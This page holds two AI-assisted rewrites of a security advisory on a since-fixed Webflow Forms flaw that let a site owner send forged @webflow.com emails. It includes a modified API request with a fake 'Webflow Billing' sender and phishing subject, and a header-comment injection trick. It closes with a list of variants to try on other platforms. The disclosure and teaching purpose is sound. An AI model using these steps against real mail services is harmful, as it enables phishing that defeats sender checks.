Skip to content
Misconfiguration Write-up Intermediate

Arbitrary email forgery in Webflow

The Webflow Forms feature allowed attackers to control the sender address, recipient, subject, and HTML content of emails sent from Webflow's servers. This enabled phishing emails from any @webflow.com address that passed SPF, DKIM, and DMARC checks.

Antoine Carrincazeaux Follow

Published on synacktiv.com

“Webflow is a design and web development tool, ecommerce, CMS, and hosting platform. ”1

Antoine Carrincazeaux, on synacktiv.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 4 min read.

Context

Webflow is described in the advisory as "a design and web development tool, ecommerce, CMS, and hosting platform". Among its features is Webflow Forms, which lets a site owner place a form on a site and have the submissions delivered by email. The advisory covers a flaw in that feature: the form settings that control the outgoing notification email could be manipulated so that Webflow's own mail infrastructure sent attacker-chosen messages.

The vulnerability was identified and exploited by Synacktiv in a spear-phishing campaign, reported to Webflow, fixed, and published on 2023.05.17.

Setup

The only precondition shown is the ability to create a site on Webflow and add a form element to it. No special role, paid plan or internal access is mentioned. The attacker then edits the form settings in the site settings, and intercepts and modifies the resulting HTTP request. The advisory does not name any specific tool for that interception.

Finding it

The researcher found that the Webflow Forms feature can be used to send arbitrary emails from Webflow's email servers. The following elements can be fully controlled by the attacker:

  • Recipient address
  • Sender address
  • Sender name
  • Mail subject
  • Mail content (as HTML)

Some of these values are refused by the front-end of the application but are not validated on the server side. That gap between client-side checks and server-side handling is what made the attack possible: the values could be changed directly in the HTTP request.

Exploitation

Step 1: create a site and add a form

Create a site on Webflow and add a form element to it. This gives a form whose submission triggers the notification email configured in the next step.

Step 2: configure the form settings

Go under the Forms tab of the site settings and set the following values:

  • From Name: Sender Name<[redacted]>
  • Send form submissions to: [redacted]
  • Subject Line: Arbitrary Subject
  • Email Template:
HTML
<!DOCTYPE html>
<html>
  [...]
  Arbitrary HTML content
  [...]
</html>
<div style="color: white; display: none;">

The From Name is the interesting field. It is written as a display name followed by an address in angle brackets, which is the usual format of a mail header. The parenthesis at the end of the value is deliberate: it opens a comment, so that whatever the server concatenates after this field is ignored when the header is parsed.

Step 3: send the modified request

Because the front-end refuses some of these values, the request is edited so that the server receives them directly:

HTTP
PUT /api/sites/attacker-webflow-site/forms HTTP/1.1
Host: webflow.com
Cookie: [...]
Content-Type: application/json;charset=utf-8
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
Content-Length: 36099
[...]
{
  emailFormFromLabel: " Webflow Billing<[redacted]>( ",
  emailFormTarget: " [redacted] ",
  emailFormSubject: " Update your billing information ",
  emailFormTemplate: " <!DOCTYPE html>
<html lang=\"en\">
  [...]
</html>
<div style=\"color: white; display: none;\">
",
  emailFormOptions: {
    incSubInfo: false,
    incUnsubLink: true
  }
}

emailFormFromLabel carries the forged sender, emailFormTarget the recipient, emailFormSubject the subject line and emailFormTemplate the HTML body. Some of these values are refused by the front-end but not validated on the server side.

Step 4: trigger the email

Validate the form with any data on the created site. This triggers the sending of the email, which is delivered by Webflow's mail infrastructure with the forged sender.

Root cause

The form settings are validated in the browser but not on the server. The server therefore accepts a From Name that contains a full mail address in angle brackets, and the trailing parenthesis opens a comment that allows ignoring the data concatenated to this field by the server. The result is that the attacker controls the sender address, not just the display name. The advisory does not describe the server-side code, so the exact concatenation is not shown; the comment trick is the mechanism the report points to.

Impact

An attacker can use this functionality to send spam or phishing emails from a trusted mail server. Any @webflow.com email address can be used as a sender address and pass SPF, DKIM and DMARC checks. The advisory shows a phishing email sent this way, and notes that it was not detected as spam by the recipient's email server, as it was sent legitimately through Webflow's Mailjet subscription by a legitimate address ([redacted]).

These elements make it significantly difficult for the victim of such a phishing attempt to detect the malicious aspect of the email. The advisory states that the technique could be exploited to target Webflow customers or employees.

Fix

Webflow fixed the vulnerability on 2023.03.23. The advisory does not describe the change.

Variants to test

  • On other platforms with a form-to-email feature, try setting the sender name field to a full address in angle brackets and see whether the delivered message carries that address as the envelope or header sender.
  • Try appending a comment opener such as ( to a field that the server concatenates with other data, and check whether the appended data disappears from the generated header.
  • Compare what the front-end rejects with what the API accepts by replaying the request with modified values.
  • Test the recipient, subject and HTML template fields the same way, since the advisory lists all of them as fully controllable.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

What happened, in plain words

Webflow is a service that lets people build websites without writing code. One of its features, Webflow Forms, lets a site owner put a contact form on their site and have the answers emailed to them. When someone fills in the form, Webflow's own mail servers send the notification email.

This report describes a flaw in that feature. The settings that control the outgoing email could be changed so that Webflow's mail servers sent messages the attacker had written, to anyone the attacker chose, appearing to come from any @webflow.com address. The vulnerability was identified and exploited by Synacktiv in a spear-phishing campaign (a targeted email trick), reported to Webflow, and Webflow fixed it. The report was published on 2023.05.17.

Background concepts

Before the steps, a few ideas that come up throughout.

  • Front-end and server-side. A website has two halves. The front-end is what runs in your browser: the pages, buttons and forms you see. The server-side is the program on the company's computer that stores data and does the real work. A check done in the browser can be bypassed, because the browser is under the user's control. A check done on the server cannot be bypassed that way, because the user never touches the server's code.
  • HTTP request. When you click a button on a website, your browser sends a small text message to the server describing what you want. That message is an HTTP request. It has a method (a verb such as GET to read or PUT to update), a path (which thing you are acting on), headers (extra information such as who you are), and often a body (the data you are sending).
  • API. An API is the set of addresses a website's own pages use to talk to its server behind the scenes. When you change a setting in a web page, the page usually sends an HTTP request to an API address rather than reloading the whole page. If you can see and edit that request, you can send values the page's form would not normally let you type.
  • Cookie. A cookie is a small piece of text your browser stores for a website and sends back with every request, so the server can recognise you. In the request below, the Cookie header is what proves to Webflow that the request comes from a logged-in account.
  • JSON. A common text format for sending structured data, made of names and values in curly braces, like { "name": "value" }.
  • Email headers. An email is not just a subject and a body. It also carries hidden fields called headers, such as who it is from (From), who it goes to (To) and the subject. The From header can hold a display name plus an address, written like Display Name<[redacted]>. Mail programs show the display name to the reader.
  • SPF, DKIM and DMARC. Three checks that receiving mail servers use to decide whether an email really came from the domain it claims. SPF checks that the sending server is allowed to send for that domain. DKIM checks a cryptographic signature added by the sending server. DMARC ties the two together and tells receivers what to do when they fail. An email that passes all three looks trustworthy to the receiving side.
  • HTML. The language web pages and formatted emails are written in. An email body written as HTML can contain links, images and styling.
  • Comment (in email headers). In the technical rules for email headers, text inside parentheses is a comment and is ignored when the header is read. This small detail is central to the attack.

The issue

The report states that the Webflow Forms feature can be used to send arbitrary emails from Webflow's email servers. The following elements can be fully controlled by the attacker:

  • Recipient address
  • Sender address
  • Sender name
  • Mail subject
  • Mail content (as HTML)

In other words, the recipient, sender, subject and HTML content are chosen by the attacker. The report says this allows attacker-controlled phishing emails to be sent from an arbitrary @webflow.com address, and could be exploited to target Webflow customers or employees.

Timeline

Date What happened
2022.09.22 Vulnerability identified and exploited by Synacktiv in a spear-phishing campaign.
2022.10.17 Advisory sent to Webflow.
2023.03.23 Vulnerability fixed by Webflow.
2023.05.17 Public release.

Setup

The only precondition shown is the ability to create a site on Webflow and add a form element to it. No special role, paid plan or internal access is mentioned. The attacker then edits the form settings in the site settings, and intercepts and modifies the resulting HTTP request. The report does not name any specific tool for that interception.

Finding it

The researcher found that some of the form values are refused by the front-end of the application but are not validated on the server side. That gap is what made the attack possible: the values could be changed directly in the HTTP request, skipping the browser's checks entirely. The browser says no, but the server never asks again.

Exploitation

Step 1: create a site and add a form

Create a site on Webflow and add a form element to it. This gives a form whose submission triggers the notification email configured in the next step. The form itself is ordinary; the point is to have something that causes Webflow to send mail on your behalf.

Step 2: configure the form settings

Go under the Forms tab of the site settings and set the following values:

  • From Name: Sender Name<[redacted]>
  • Send form submissions to: [redacted]
  • Subject Line: Arbitrary Subject
  • Email Template:
HTML
<!DOCTYPE html>
<html>
  [...]
  Arbitrary HTML content
  [...]
</html>
<div style="color: white; display: none;">

The From Name is the interesting field. It is written as a display name followed by an address in angle brackets, which is the usual format of a mail header. The parenthesis at the end of the value is deliberate: it opens a comment, so that whatever the server concatenates after this field is ignored when the header is parsed.

Why does that matter? The server concatenates data to this field when building the outgoing email. If that extra text were kept, the address would not be clean. By ending the value with (, the attacker starts a comment, and everything the server adds afterwards falls inside the comment and is thrown away. The result is a header that reads exactly as the attacker wrote it.

Step 3: send the modified request

Because the front-end refuses some of these values, the request is edited so that the server receives them directly:

HTTP
PUT /api/sites/attacker-webflow-site/forms HTTP/1.1
Host: webflow.com
Cookie: [...]
Content-Type: application/json;charset=utf-8
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
Content-Length: 36099
[...]
{
  emailFormFromLabel: " Webflow Billing<[redacted]>( ",
  emailFormTarget: " [redacted] ",
  emailFormSubject: " Update your billing information ",
  emailFormTemplate: " <!DOCTYPE html>
<html lang=\"en\">
  [...]
</html>
<div style=\"color: white; display: none;\">
",
  emailFormOptions: {
    incSubInfo: false,
    incUnsubLink: true
  }
}

Line by line:

  • PUT /api/sites/attacker-webflow-site/forms HTTP/1.1 is the request line. PUT means update, the path points at the forms settings of the attacker's own site, and HTTP/1.1 is the version of the protocol.
  • Host: webflow.com tells the server which site name the request is for.
  • Cookie: [...] carries the login session. The report redacts the actual value; it is what makes the server treat the request as coming from the attacker's account.
  • Content-Type: application/json;charset=utf-8 says the body is JSON text.
  • Accept: application/json, text/plain, */* says which response formats the client can handle.
  • Content-Length: 36099 is the size of the body in bytes.
  • The body is a JSON object. emailFormFromLabel carries the forged sender, emailFormTarget the recipient, emailFormSubject the subject line and emailFormTemplate the HTML body.
  • Some of these values are refused by the front-end but not validated on the server side.

Step 4: trigger the email

Validate the form with any data on the created site. This triggers the sending of the email, which is delivered by Webflow's mail infrastructure with the forged sender. Nothing special is needed in the form data itself; the email settings were already set in the previous step.

Root cause

The form settings are validated in the browser but not on the server. The server therefore accepts a From Name that contains a full mail address in angle brackets, and the trailing parenthesis opens a comment that allows ignoring the data concatenated to this field by the server. The result is that the attacker controls the sender address, not just the display name. The report does not describe the server-side code, so the exact concatenation is not shown; the comment trick is the mechanism the report points to.

Impact

An attacker can use this functionality to send spam or phishing emails from a trusted mail server. Any @webflow.com email address can be used as a sender address and pass SPF, DKIM and DMARC checks. The report shows a phishing email sent this way, and notes that it was not detected as spam by the recipient's email server, as it was sent legitimately through Webflow's Mailjet subscription by a legitimate address ([redacted]).

These elements make it significantly difficult for the victim of such a phishing attempt to detect the malicious aspect of the email. The report states that the technique could be exploited to target Webflow customers or employees.

Fix

Webflow fixed the vulnerability on 2023.03.23.

Variants to test

  • On other platforms with a form-to-email feature, try setting the sender name field to a full address in angle brackets and see whether the delivered message carries that address as the envelope or header sender.
  • Try appending a comment opener such as ( to a field that the server concatenates with other data, and check whether the appended data disappears from the generated header.
  • Compare what the front-end rejects with what the API accepts by replaying the request with modified values.
  • Test the recipient, subject and HTML template fields the same way, since the report lists all of them as fully controllable.

Glossary

  • API: the set of addresses a website's own pages use to talk to its server behind the scenes.
  • Cookie: a small piece of text your browser stores for a website and sends back with every request, so the server can recognise you.
  • DKIM: an email check that verifies a cryptographic signature added by the sending server.
  • DMARC: an email policy that ties SPF and DKIM together and tells receivers what to do when they fail.
  • Front-end: the part of a website that runs in your browser.
  • HTTP request: the text message your browser sends to a server to ask it to do something.
  • JSON: a text format for structured data, made of names and values in curly braces.
  • Phishing: a trick email that pretends to come from someone trustworthy to get the reader to act.
  • Server-side: the part of a website that runs on the company's computer and does the real work.
  • Spear-phishing: a phishing email aimed at a specific person or group.
  • SPF: an email check that the sending server is allowed to send for the domain it claims.
  • Header (email): a hidden field in an email, such as From, To or Subject.
  • Comment (email header): text inside parentheses in a header, ignored when the header is read.

More by Antoine Carrincazeaux

View all

1 more disclosed report, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Security misconfiguration

The lesson behind this report.

Settings left unsafe: exposed panels, open storage buckets, debug modes, default credentials.